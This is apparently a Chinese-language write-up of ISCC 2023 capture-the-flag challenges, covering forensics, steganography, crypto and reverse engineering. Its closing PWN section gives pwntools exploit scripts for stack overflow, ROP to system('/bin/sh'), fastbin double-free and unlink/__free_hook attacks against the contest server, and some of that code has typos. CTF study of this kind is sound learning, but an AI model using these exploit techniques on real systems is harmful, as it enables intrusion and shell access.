"dZaZsZaIdZ": "F",
"aZsZdZwIaI": "G",
"sZwIdZwIsZ": "H",
"dZaIsZaIdZ": "I",
"dZaIsZaI": "J",
"sZwIdIdwIsaIsdI": "K",
"sZdZ": "L",
"wZsdIwdIsZ": "M",
"wZsdZwZ": "N",
"sZdZwZaZ": "O",
"sZwZdZsIaZ": "P",
"aZwZdZsZsdI": "Q",
"sZwZdZsIaZdZsI": "R",
"aZsIdZsIaZ": "S",
"dZaIsZ": "T",
"sZdZwZ": "U",
"sIsdIdwIwI": "V",
"sdZwdZsdZwdZ": "W",
"sdZwaIwdIsaZ": "X",
"sdIwdIsaIsI": "Y",
"dZsaZdZ": "Z",
"aIsIaIdIsIdI": "{",
"dIsIdIaIsIaI": "}"
}
for i in a:
print(map[i],end='')
print()
菜鸟黑客-1
先下载附件发现一个raw文件
用R-Studio打开进行扫描
发现flag文件
打开后发现一个DES编码
对这个进行DES解码就得到了flag:ISCC{dbsy_cdis_fd7n_s4fd}
菜鸟黑客-2
1、 先看看桌面有什么
volatility -f 1.raw --profile=Win2008R2SP1x64 filescan | grep Desktop
发现这个图片
2、 把图片 down 下来
volatility -f 1.raw --profile=Win2008R2SP1x64 dumpfiles -Q 0x000000007dfaff20 -D ./
得到一个表情包图片
3、 用 formost 分离一下,得到一个压缩包,压缩包的密码是前面看到 ISCC2023
4、 解压后得到文本内容,提示要维吉尼亚 解 MEQL{invk_vhlu_dzel_lkof}
5、 Editbox 看一下 volatility -f 1.raw --profile=Win2008R2SP1x64 editbox
得到提示 Pay attention to emoji’s eyes
6、 结合前面的表情包,园眼睛 . 长眼睛 - 解摩斯,得到 EMOJIISFUN
7 .维吉尼亚解出来 ISCC{afdf_buhi_pqwd_tfus}
汤姆历险记
附件下载,用010打开Tom.jpg文件,文件头没有问题,继续往下翻,发现编译问题
将这一长串复制下来,打开CTF编码工具,进行字频分析
得到类似flag,将文件改成zip格式发现一个同名的docx文件,打开需要密码,即为刚解出来的字符串,打开文档发现行间距有的是1,有的是1.5,中间还有空行。尝试将其变形成二进制,结果错误。将其变成摩斯密码,即
… -. -… --. .- -.- . .-
摩斯密码解密后结果为
sndgakea
对照字典为a0mdf59f,即为正确flag
信息传递
附件下载后有PCAPNG文件,用Wireshark打开,找到IMF文件,导出IMF文件
用QQ邮箱打开这两个文件,发现一个普通附件,发送出去后从接收端打开
发现压缩包文件需要密码,试了好多都不对。观察CRC32的数据,发现只有B1852B0D和9DE9E501两种,将其用二进制0和1表示,得到二进制数据
0100100101010011010000110100001101111011011010010011001001110011001100000110001100110010011000110011001101111101
将二进制转换成字符串得到flag,再通过题目所给的字典进行替换得到最终的flag
你相信AI吗?
将dataset⽂件夹放在与以下这个脚本同⼀个⽂件夹的位置,然后创建⼀个out⽂件夹
import cv2
import numpy as np
for i in range(32):
with open(f"./dataset/{i}.txt", "r") as f:
data = f.read().splitlines()
image_data = np.array([float(line) for line in data])
# dic = {X: int(image_data.shape[0] / X) for X in range(1, image_data.shape[0]) if
image_data.shape[0] % X "# 0}
# for width, height in dic.items():
if image_data.shape[0] "# 2352:
cv2.imwrite(f"./out/{i}.png", image_data.reshape(84, 28))
elif image_data.shape[0] "# 1568:
cv2.imwrite(f"./out/{i}.png", image_data.reshape(56, 28))
else:
print(i)
执⾏完成之后将out⽂件夹中的图⽚中显示的数字按顺序写到cipher_text中以空格隔开
import string
import itertools
import contextlib
def has_visible_bytes(input_bytes):
return all(chr(byte) in string.printable for byte in input_bytes)
cipher_text = '51 59 75 95 56 46 669 665 59 57 685 73 56 55 685 53 77 685 75 664 25 682
75 74 22 48 59 78 683 56 96 96'.split(" ")#修改这个位置的值
with open("out.txt", "wb") as f:
for i in itertools.permutations("0123456789", 10):
maktrans = str.maketrans("0123456789", ''.join(i))
lis = [str.translate(i, maktrans) for i in cipher_text]
with contextlib.suppress(Exception):
plan_text = bytes(list(map(lambda x: int(x), lis)))
if has_visible_bytes(plan_text):
print(plan_text)
f.write(plan_text + b"\n")
mystery of bits
解压附件有一个key.png,用脚本跑出他的长宽
import binascii
import struct
crcbp = open("key.png", "rb").read() #打开图片
crc32frombp = int(crcbp[29:33].hex(),16) #读取图片中的CRC校验值
print(crc32frombp)
for i in range(4000): #宽度1-4000进行枚举
for j in range(4000): #高度1-4000进行枚举
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
# print(crc32)
if(crc32 == crc32frombp): #计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)
为0x438 0x438,修改图片后用stegslove打开
找到这个横着看能看出密码是ysafao245hfdisi解压后是一个wav音频文件,用010打开在最后有password为ISCC2023,再用stegpy解密能解出一堆二进制,0000000000000000000000000000000011111110101010111111101111111001000001011101011100000100000100101110101111000111110010111010010111010101000000101001011101001011101010110100101000101110100100000100010110000001010000010011111110101010101010101111111000000000010011001101000000000000010101101010101010111110111110011110000111111100010100101110000010111010010110110101101111000011100000011100000111000001110001001011101001011010010110100000000110100000111000001110000000001011101001011010010110100100010001101001100111011101010100001010011111010110011101001111100000011001100100001101100101000010100010011000010000011000100001011100001011001110110110100100101011100111110101111111101100000000000100001010110100010001001111111001000110010010101010000100000101101111001001000111110010111010011101110101111110101001011101010111011001101110101000101110100010111010101110111010010000010110011001000110011110001111111000010001000010010100000000000000000000000000000000000然后将这些转换成一个长宽为31的二维码
from PIL import Image
from zlib import *
MAX = 31 # 数字的长度为一个整数的平方(如36^2=1296)
pic = Image.new("RGB",(MAX,MAX))
str ="0000000000000000000000000000000011111110101010111111101111111001000001011101011100000100000100101110101111000111110010111010010111010101000000101001011101001011101010110100101000101110100100000100010110000001010000010011111110101010101010101111111000000000010011001101000000000000010101101010101010111110111110011110000111111100010100101110000010111010010110110101101111000011100000011100000111000001110001001011101001011010010110100000000110100000111000001110000000001011101001011010010110100100010001101001100111011101010100001010011111010110011101001111100000011001100100001101100101000010100010011000010000011000100001011100001011001110110110100100101011100111110101111111101100000000000100001010110100010001001111111001000110010010101010000100000101101111001001000111110010111010011101110101111110101001011101010111011001101110101000101110100010111010101110111010010000010110011001000110011110001111111000010001000010010100000000000000000000000000000000000"
i=0
for y in range(0,MAX):
for x in range(0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0,0,0))
else:pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
扫码即为flag
通信方式
打开附件,是一段音频文件,猜测其中有二进制数据,写个脚本解题
from scipy.io import wavfile
import numpy as np
from PIL import Image
sample_rate, data = wavfile.read('telegram2wechat.wav')
left_channel = data[:, 0]
right_channel = data[:, 1]
result = left_channel - right_channel
np.savetxt('array.txt',result,fmt='%d')
with open('array.txt', 'r') as file:
file_contents = file.readlines()
file_contents = [int(line.strip()) for line in file_contents]
flag = [x for x in file_contents if x != 0]
flag_new = ""
for t in flag:
flag_new += str(t)
flag_new = flag_new.replace("2", "0")
print(flag_new)
MAX = 45
pic = Image.new("RGB",(MAX,MAX))
i=0
for y in range(0,MAX):
for x in range(0,MAX):
if(flag_new[i] == '1'):
pic.putpixel([x,y],(0,0,0))
else:pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag")
跑出二维码扫描后得到一堆电码,去在线网站解密
挨个读出来得到flag
芝士雪豹
打开附件,发现附件无法正常打开,先把附件拖进010里看看,发现rar的文件头74被改成了73,把期中的rar文件头先修改回来
打开压缩包是一张图片和一个带有加密的压缩包,先修改图片高度,得到了压缩包的密码
打开压缩包,发现是个套娃,利用python脚本跑出最后一个压缩包
压缩完后只看见一个0.txt文档,里面写着“hint:something fell on the road,the flag is not at the end ”,再结合一开始的hint证明,flag不是简单压缩完就能得到的。通过观察,发现压缩包的修改日期不同,有两种修改日期。
把“2023-05-01 10:13:52”看作“0”,把“2023-05-01 10:13:58”看作“1”,猜测其为二进制加密
写python脚本
import zipfile
import os.path, time
import os
import time
import pyzipper
def TimeStampToTime(timestamp):
timeStruct = time.localtime(timestamp)
return time.strftime('%Y-%m-%d %H:%M:%S', timeStruct)
def get_FileCreateTime(filePath):
# '''获取文件的创建时间'''
# filePath = unicode(filePath,'utf8')
t = os.path.getctime(filePath)
return TimeStampToTime(t)
def get_FileModifyTime(filePath):
# '''获取文件的修改时间'''
# filePath = unicode(filePath, 'utf8')
t = os.path.getmtime(filePath)
return TimeStampToTime(t)
def get_FileAccessTime(filePath):
# '''获取文件的访问时间'''
# filePath = unicode(filePath, 'utf8')
t = os.path.getatime(filePath)
return TimeStampToTime(t)
def get_FileSize(filePath):
# '''获取文件的大小,结果保留两位小数,单位为MB'''
# filePath = unicode(filePath,'utf8')
fsize = os.path.getsize(filePath)
fsize = fsize / float(1024 * 1024)
return round(fsize, 2)
name = '49183-secret.zip'
num=49183
out=open('out.txt','w')
while True:
fz = zipfile.ZipFile(name)
fz.extractall()
for zi in fz.infolist():
fz.extract(zi)
date_time = time.mktime(zi.date_time + (0, 0, -1))
os.utime(zi.filename, (date_time, date_time))
m=get_FileModifyTime(zi.filename)
print(m)
fz.close()
if m=='2023-05-01 10:13:52':
out.write('0')
else:
out.write('1')
num=num-1
path=name
name = str(num)+'-secret.zip'
fz.close()
os.remove(path)
跑完后得到一堆2进制数据,去在线网址上,将2进制转换为16进制文件。
将文件导出后,拖进010查看格式,发现是gz格式文件头,解压后得到一个图片
使用imageIN解密得到flag.txt文档
去在线解密网站解密得到flag
哦?摩斯密码?
打开附件,发现每个文件夹里有三个二维码,扫描后是摩斯密码,利用脚本扫描所有摩斯密码
将扫出来的结果字频统计一下
得到明文“this is no flag”,观察所有flag的图片是相同的,但是图片的名字不同,有1.png、2.png和3.png,根据题目联想到摩斯密码,讲1.png看成. ,2.png看成-,3.png看成分割,写出脚本跑出摩斯密码
将跑出的摩斯密码去网站在线解密后,得到二进制数据
7位二进制得到密文
去AES解密在线网站,输入密码“th1sn0flag”解密,得到flag
Brain Game
下载附件是个用AAencode加密的压缩包,密码在压缩包右边,把?改为 ゚ 后得到密码
゚ω゚ノ= /`m´)ノ ~┻━┻ //´∇`/ [‘']; o=(゚ー゚) ==3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o_o)/ (o_o);(゚Д゚)={゚Θ゚: ‘’ ,゚ω゚ノ : ((゚ω゚ノ==3) +'’) [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ ‘‘)[o_o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +’’)[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ3) +‘‘) [c_o];(゚Д゚) [‘c’] = ((゚Д゚)+’’) [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) [‘o’] = ((゚Д゚)+‘‘) [゚Θ゚];(゚o゚)=(゚Д゚) [‘c’]+(゚Д゚) [‘o’]+(゚ω゚ノ +’’)[゚Θ゚]+ ((゚ω゚ノ3) +’‘) [゚ー゚] + ((゚Д゚) +’‘) [(゚ー゚)+(゚ー゚)]+ ((゚ー゚3) +‘_’) [゚Θ゚]+((゚ー゚3) +’‘) [(゚ー゚) - (゚Θ゚)]+(゚Д゚) [‘c’]+((゚Д゚)+’‘) [(゚ー゚)+(゚ー゚)]+ (゚Д゚) [‘o’]+((゚ー゚3) +‘‘) [゚Θ゚];(゚Д゚) [’’] =(o_o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚3) +’‘) [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+’‘) [(゚ー゚) + (゚ー゚)]+((゚ー゚3) +‘_’) [o_o -゚Θ゚]+((゚ー゚3) +’‘) [゚Θ゚]+ (゚ω゚ノ +’‘) [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]=’\‘; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o_o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +’‘)[c_o];(゚Д゚) [゚o゚]=’"‘;(゚Д゚) [’‘] ( (゚Д゚) [’‘] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o_o) - (゚Θ゚))+ (c_o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o_o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o_o)+ ((゚ー゚) + (o_o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c_o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o_o) +(o_o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o_o)+ ((゚ー゚) + (o_o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o_o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o_o) +(o_o))+ ((o_o) +(o_o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚o゚]) (゚Θ゚)) (’');
打开压缩包后,是一张图片
根据碎裂痕迹,对应到键盘上为“135780”,先用“135780”,cloacked-pixel解密,解不出来有用数据,密码不正确,再看图片,如果按照裂痕先后的思路,后出现的裂痕会在碰到前面出现的裂痕后停止,得到顺序“570831”,再去cloacked-pixel解密
得到一段数据,经过尝试后,发现先form hex 再to base85就能得到flag
Guess RSA
附件给了公钥,先脚本解出n和e
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from numpy import long
public = RSA.importKey(open('pub').read())
n = long(public.n)
e = long(public.e)
print(n)
print(e)
n= 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469
e= 65537
再将附件给的三个明文换成进制
import gmpy2
import libnum
with open("cryptotext3.txt","rb") as f1:
c1 = f1.read()
c1 = libnum.s2n(c1)
print(c1)
得到数据:
c1= 15675664162517005241985334850747322279876279456574700862907552681481377133185544579989247038799479171776327240780404882118904537725766312056443466295064750703372005792416973033030771437551025381553764003235556081094078622478104365189796833112914604071350200351731894133093904945300457608647456120613115797620
c2= 140861103274216455230721845501898308648236818144495265653434927079070691530723508171403973717514275151780171294904394774518093215002953258888100585054189890096052341414700257111375220034066504715553430076834975116291241799793991901777387974579764040747570218791785702867501258811622798523769676652686058178795
c3= 99529796079917923667416703621596340605976154418748680997166709360261843180294998507573349072387930043122958288285449187996957718834900637362680133270163491814007472682256839243994660305780477877832077377778094226956503797223980753581850455217835856249465622909655714810911375056415139213238490343537769816334
图片的pic.png使用zsteg发现16进制,把它看作dp,转换一下得到
Dp=
0x381044a04c6c66078e89668fd73cb82c4f10161be4c6f3a12781698d00efba838cdb4b4373bd72ebdca49a6470e59f9fb8413a3b2ac7ac850f176c4d65ef7ab5
已知n、e、c、dp,利用软件依次解出3个明文
拼接三个flag部分得到flag:ISCC{iu5a!ui3qehbca@90&rhic+hj69at8vr346z9(byawa5t0vr35-vr^if89%hu}
听你心跳里的狂
下载附件,利用veracrypt,将音频文件作为秘钥文件挂载
打开磁盘得到一个加密的压缩包,用010打开,发现文件尾,有32字节字符
利用rot13和rot47,解出一串md5字符串
在网站中解出压缩包的密码为 Logistic
解得png文件,但文件结构不对,无法打开,16进制为乱码。将文件头与png文件头逐字节异或发现得到都是0x15,将整个文件与0x15异或得到原png文件
将图片反色后,隐约在左上角看见flag的字样
经过不断的尝试,和硬看,终于得到flag,flag为:ISCC{GQQ_w4nt_eAt_f1sh !!}
G9的钢琴曲
打开附件,发现是一道做过的密码题,把之前的脚本改改,解出密码。
解出密码 ISCC_Y0u_R3alLy_KnOw_CoPPersm1th, 打开文件后,是一个hint文件和一个压缩包
使用命令进行Cloakify解密,得到一个wav文件
用010打开后发现有明显的二进制数据迹象,利用python脚本把- +,改为0和1得到二进制数据
再解密这些二进制数据,即可得到flag
BNG
利用两个脚本跑出图片和隐写位置的数据,一个是这篇博客中的脚本:
https://www.cnblogs.com/kentle/p/14725589.html
和这个bng转换脚本
图片和隐写位置数据分别为
Vm1wR2EwNUhTWGxVYms1cFRUSjRWbFl3WkRSWFJteHpZVVZPYWxadGVIcFdNbmgzWVRBeFZrNVdaRnBXVmxwUVdWVmFTbVF3TVZWWGJHUlRUVEJLVVZkV1dsWmtNbEY1Vkd0c1ZHSkdXazlaYlhSTFpVWmFSMWR0Um1waVZscFlWako0VjFWdFJqWmlTRUpYWWtkb1JGcFhlR0ZTVmtaelZHMXNhR1ZzV2toV1JscHZVakZhYzFwRmJGSmlSVXBoVm1wT1QwMHhVbGRYYkU1clVsUkdWMVJzWkRSV01WcEhWMnh3VjJFeGNGUldha1pyWkVaS2RWTnNhR2xpUlhCWFYxY3dNVkV5UmtkaVJtUlhWMGRvVUZscmFFTlRWbkJKWWpOa1VWVlVNRGs9
经过多次Base64解密后,得到密码
利用脚本将图片中的数据跑出来
跑出一个带密码的压缩包,密码填
75ce46be8882436396c25c9b1f76b37e 得到flag
Guess!Where?
下载附件,按照凯撒3、base64、base32、base16的顺序解密,得到密文 I_love_iscc!!! 打开压缩包,按照时间顺序排序,会发现ISC2
写脚本爆出flag
reverse
JustDoIt
拖入EXE,发现无壳,拖入32位IDA,找到main函数,F5反汇编,分析函数
通过分析是对输入的字符进行加密再与加密的 flag 比较
加密函数
写脚本如下:
v8=[23,68,68,15,94,10,8,10,6,95,8,24,87,3,26,105]
v7='ISCC'
for i in range(1,len(v8)):
v8[i]^=ord(v7[0])
v8[i]-=ord(v7[i%4])%5
v8[i]=v8[i]+ord(v7[2])%6+ord(v7[3])// 6
v8[i]-=ord(v7[1])//7+ord(v7[0])%7
for i in range(1,len(v8)):
v8[i]-=i
t=v8[len(v8)-1]
for i in range(len(v8)-1,0,-1):
v8[i]=v8[i-1]
v8[0]=t
for i in range(len(v8)):
v8[i]+=60
for i in range(len(v8)):
print(chr(v8[i]),end='')
运行得到flag
奇门遁甲
附件下载,拖入EXE,无壳,拖入32位IDA,F5反汇编
打开程序知道要按一定的顺序要求依次输出每个门,得到碎片,最终拼成flag
通过穷举法得出正确的顺序应该为31284567,因此得到flag为?48?IKuSzv;UZrzWTLLuV8VG
变形记
下载附件,拖入EXE,拖入32位IDA,F5反汇编,找到关键字符串
取出字符串先逆序得到base64密文Y3lReWNzQmN5UXkyc3Z5djJ6YzI=,再解密得到cyQycsBcyQy2svyv2zc2,然后是一个字符串压缩,就是换成重复个数
比如解出来的带有B2字样,就变成BB,以此类推
所以最终得到flag为ISCC{cyQycsBcyQyysvyvvzcc}
Convert
拖入EXE,拖入32位IDA,F5反汇编,进入main_0函数
根据显示的密文写出一个c++的运行代码
#include<bitsdc++.h>
using namespace std;int main()
{
int v6 = 23,j=0;
char v8[26] = "(0$$b<";
v8[6] = 25;
v8[7] = 30;
v8[8] = 45;
v8[9]= 53;
v8[10]=66;
v8[11] = 42;
v8[12] = -88;
v8[13] = -123;
v8[14] = 'a';
v8[15] ='e' ;
v8[16] = '6';
v8[17] = '/';
v8[18] ='C' ;
v8[19] = 'W';
v8[20] = '"';
v8[21] = 'H';
v8[22]='s';
char a2[] = "ISCC";
for (j = 0; j < 4; ++j)
{
v8[j + 16] -= a2[j] / 5;
v8[j + 12] -= v8[j + 4];
v8[j + 8] -= 2 * j;
v8[j + 4] -= a2[j] % 5;
v8[j] -= j ^ -(a2[j] % 4);
}
for (int i = 0; i < v6; i++)
{
v8[i] -= i;
v8[i] += 32;
cout << v8[i];
}
}
运行得到flag
Pull the Wool Over People’s Eyes
拖入EXE查壳,发现无壳并拖入32位IDA,找到main函数,F5反汇编
在 main 函数中发现一串可疑的二进制字符,分析是处理过的
写脚本如下:
key = list(b'ISCC{ACYeeeloorrsuv}')
flag =
"00000000000000000000000000000000000000000010001000100010000011100000011000
001110001001110010111000101100010110000011110000110101000111100001110100101
10000000000"
for i in range(len(flag)//8):
print(chr(int(flag[i*8:i*8+8],2)^key[i]),end="")
运行得到flag
狂飙-1
下载题目,其中包含三个文件根据分析写出脚本
mod=26
a1=0x50d7c32f4a659
a2="4-chloroisatin"
a3="Ammosamide B"
mod_out=(int((a1%100000)%mod))^(mod*(int)(a1%100000))
flag="ISCC{"+str(mod_put)+"_"+a2+"_"+str(a1)+"_"+a3+"}"
print(flag)
运行得到flag
CrackMePlease
拖入exe,拖入32位IDA,F5反汇编,跟进main_0函数,分析代码
在关键语句前下断点
进行调试运行
随机输入一个数字进行运行
进入str2寻找到flag
Congratulations
把附件拖进ida,初步分析是用给出的密文,转换进制加密,写脚本跑出flag
#include <stdio.h>
int main(void)
{
char v9[26]; // [esp+140h] [ebp-28h]
v9[0] = 165;
v9[1] = 67;
v9[2] = 83;
v9[3] = 148;
v9[4] = 68;
v9[5] = 67;
v9[6] = 84;
v9[7] = 72;
v9[8] = 155;
v9[9] = 168;
v9[10] = 175;
v9[11] = 120;
v9[12] = 171;
v9[13] = 132;
v9[14] = 31;
v9[15] = 137;
v9[16] = 170;
v9[17] = 186;
v9[18] = 84;
v9[19] = 17;
v9[20] = 80;
v9[21] = 162;
v9[22] = 186;
v9[23] = 121;
v9[24] = 247;
v9[25] = '_';
for (int i = 0; i < 25; i++)
{
v9[i] ^= 'S';
}
for (int i = 24; i >= 0; i--)
{
v9[i] += v9[i + 1];
}
for (int i = 0; i < 26; i++)
{
v9[i] += 30;
}
char v5[] = "abcdefghijklmnopqrstuvwxyz";
char v4[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
for (int i = 0; i < 26; i++)
{
if (v9[i] == '{' || v9[i] == '}')
{
continue;
}
if (v9[i] >= 'A' && v9[i] <= 'Z')
{
v9[i] += 1;
}
else if (v9[i] >= 'a' && v9[i] <= 'z')
{
v9[i] += 1;
}
}
for (int i = 0; i < 26; i++)
{
printf("%c", v9[i]);
}
}
狂飙-2
根据提示
提示1:某个文件有些特殊
提示2:看看《狂彪》-1
提示3:似乎不只是一张图片哦
然后研究里面附件是被加密的并且给了一个key
file.namelist()
elf_name = zip_list[1]
zip_file.extract(elf_name, '.', pwd=key)
zip_file.close()
with open(elf_name, "rb") as f:
elf_data = f.read()
return elf_data[0xe010:0xe030]
def generate_flag(data):
flag = "ISCC{tHe_5eY@"
for i in range(len(data)):
d = data[i] - 16
d ^= 2
d += 44
flag += chr(d)
return flag
if __name__ == '__main__':
key = b"1422201965553241"
enc_file = "cellphone.enc"
data = decrypt_data(key, enc_file)
flag = generate_flag(data)
print(flag)
运行得到flag
PWN
三个愿望
附件下载,拖入EXE,拖入64位IDA,F5反汇编,shift+F12搜索字符串
找到/bin/bash,说明存在常规后门
回到main函数,跟进begingame(),分析代码
第一个愿望由随机数种子除以9取余加一得到
srand(v6),此时v3=1
跟进secondwish();
通过%n$p多次试验得到canary的值为6
s距离rbp的距离为30,v2距离rbp
计算0x30-0x8+6得到v2的地址,因此通过第二个愿望
跟进thirdwish();
结合之前发现的/bin/bash,为典型栈溢出问题
写脚本:
from pwn import *
context.log_level='debug'
#elf=ELF('./f3')
back=0x4011d6
#p=process('./f3')
p=remote("59.110.164.72",10001)
p.sendline(b'1')
p.sendline(b'7')
p.sendline(b'%11$p')
p.recvuntil(b'wish!\n')
canary=int(p.recv(18),16)
print(hex(canary))
p.sendline(b'2')
pay=p64(canary*6+p64(back)*2
p.sendline(pay)
p.interactuve()
Login
- 分析
用 checksec 工具分析程序
再用 ida 看源码
- 思路
通过分析,输入存在多处栈溢出
第一次把 v6 的值覆盖为 365696460,使程序能走到第二次栈溢出
再在第二次栈溢出布置栈帧
程序没有现成的后门函数,可以泄漏地址但程序已经给了,所有只要授受地址,再
通用题目给的 libc 文件来计算基址,再调用 libc 中的 system 函数 - exp
from pwn import *
5. import struct
6. import os
7.
8. context(os='linux', arch='amd64', log_level='debug')
9. elf = ELF("./Login")
10.libc = ELF("./libc-2.23.so")
11.DEBUG = 0
12.
13.def exp(p):
14. p.recvuntil("Here is a tip: 0x")
15. std_addr = int(p.recv(12), 16)
16. info("std_addr----->"+hex(std_addr))
17. libc.address = std_addr - 0x3c48e0
18. p.recvuntil("input the username:\n")
19. p.send(b"a"*28+b"\xCC\x15\xCC\x15")
20. p.recvuntil("input the password:\n")
21. payload = b"a"*0x28 + p64(0x00000000004008c3) +
p64(libc.search(b"/bin/sh").__next__()) + p64(libc.sym["system"])
22. p.send(payload)
23. p.interactive()
24.
25.def main():
26. if DEBUG:
27. p = process("./Login")
28. gdb.attach(p, "source ./.gdbinit")
29. exp(p)
30.
31. else:
32. p = remote("59.110.164.72", 10000)
33. exp(p)
34.
35.if __name__ == "__main__":
36. main()
Double
- 分析
用checksec工具分析程序
再看IDA源代码,存在堆漏洞 - exp
from pwn import*
from LibcSearcher import *
#context.arch="amd64"
#context.arch="i386"
context.os="linux"
context.log_level="debug"
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
io=1
if io==0:
p=process('./pwn')
else:
p=remote('59.110.164.72',10021)
def dbg():
gdb.attach(p)
pause()
def add(id,size):
p.sendlineafter('请选择:',b'1')
p.sendlineafter('请输入序号:',str(id))
p.sendlineafter('请输入大小:',str(size))
def dele(id):
p.sendlineafter('请选择:',b'2')
p.sendlineafter('请输入序号:',str(id))
def show(id):
p.sendlineafter('请选择:',b'3')
p.sendlineafter('请输入序号:',str(id))
def edit(id,pay):
p.sendlineafter('请选择:',b'4')
p.sendlineafter('请输入序号:',str(id))
p.sendafter('请输入编辑内容:',pay)
add(2,0x41)
add(16,0x40)
add(18,0x30)
add(4,0x30)
add(5,0x30)
add(6,0x30)
dele(4)
dele(5)
dele(4)
add(7,0x30)
edit(7,p64(0x6020e0))
add(8,0x30)
add(9,0x30)
add(10,0x30)#sizes
add(4,0x40)
add(5,0x90)
edit(10,p32(0x50))
ptrs=0x6024e0
fd=ptrs+8
bk=ptrs+16
pay=p64(0)+p64(0x41)+p64(fd)+p64(bk)+p64(0)*4+p64(0x40)+p64(0xa0)
edit(4,pay)
dele(5)
edit(4,p64(0)+p64(elf.got['atoi']))
edit(2,p64(0x4008FE))
p.sendlineafter('请选择:',b'/bin/sh\x00')
p.interactive()
chef
- 分析
用 checksec 工具分析程序
再用 ida 看源码
- exp
from pwn import *
context.log_level = 'debug'
#io=process("./chef")
io=remote("59.110.164.72",10031)
elf=ELF("./chef")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
libc=elf.libc
sl(b"4")
def add(size,content):
sla("Your choice:",b"2")
sla("Please enter the price of food:",str(size))
sa("Please enter the name of food:",content)
def show():
sla("Your choice:",b'1')
def edit(index,size,content):
sla("Your choice:",b'3')
sla("Please enter the index of food:",str(index))
sla("Please enter the price of food :",str(size))
sa("Please enter the name of food:",content)
def delete(index):
sla("Your choice:",b'4')
sla("Please enter the index of food:",str(index))
#gdb.attach(io)
ptr=0x6020b8
add(0x18,b'aaaa')
add(0x88,b'aaaa')
add(0x88,b'aaaa')
add(0x88,b'/bin/sh\x00')
payload=b'a'*0x10+p64(0)+p64(0x91)+p64(0)+p64(0x81)+p64(ptr-0x18)+p64(ptr-0x10)
payload=payload.ljust(0xa0,b'a')
payload+=p64(0x80)+p64(0x90)
edit(0,len(payload),payload)
delete(2)
edit(1,0x20,p64(0x50)+p64(elf.got['puts']))
show()
leak_addr=uu64()
libc_base=leak_addr-libc.sym['puts']
print(hex(libc_base))
system_addr=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
edit(1,0x20,p64(0x50)+p64(elf.got['puts'])+p64(0x50)+p64(free_hook))
edit(1,0x20,p64(system_addr))
print(hex(free_hook))
delete(3)
shell()
谜语人
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('59.110.164.72', 10028)
elf = ELF('./pwn')
libc = ELF('libc.so')
def add(idx):
sla(b'Then?\n', b'2')
sla(b'?!\n', str(idx))
def free(idx):
sla(b'Then?\n', b'1')
sla(b'?!\n', str(idx))
def show(idx):
sla(b'Then?\n', b'0')
sla(b'?!\n', str(idx))
def edit(idx, data):
sla(b'Then?\n', b'3')
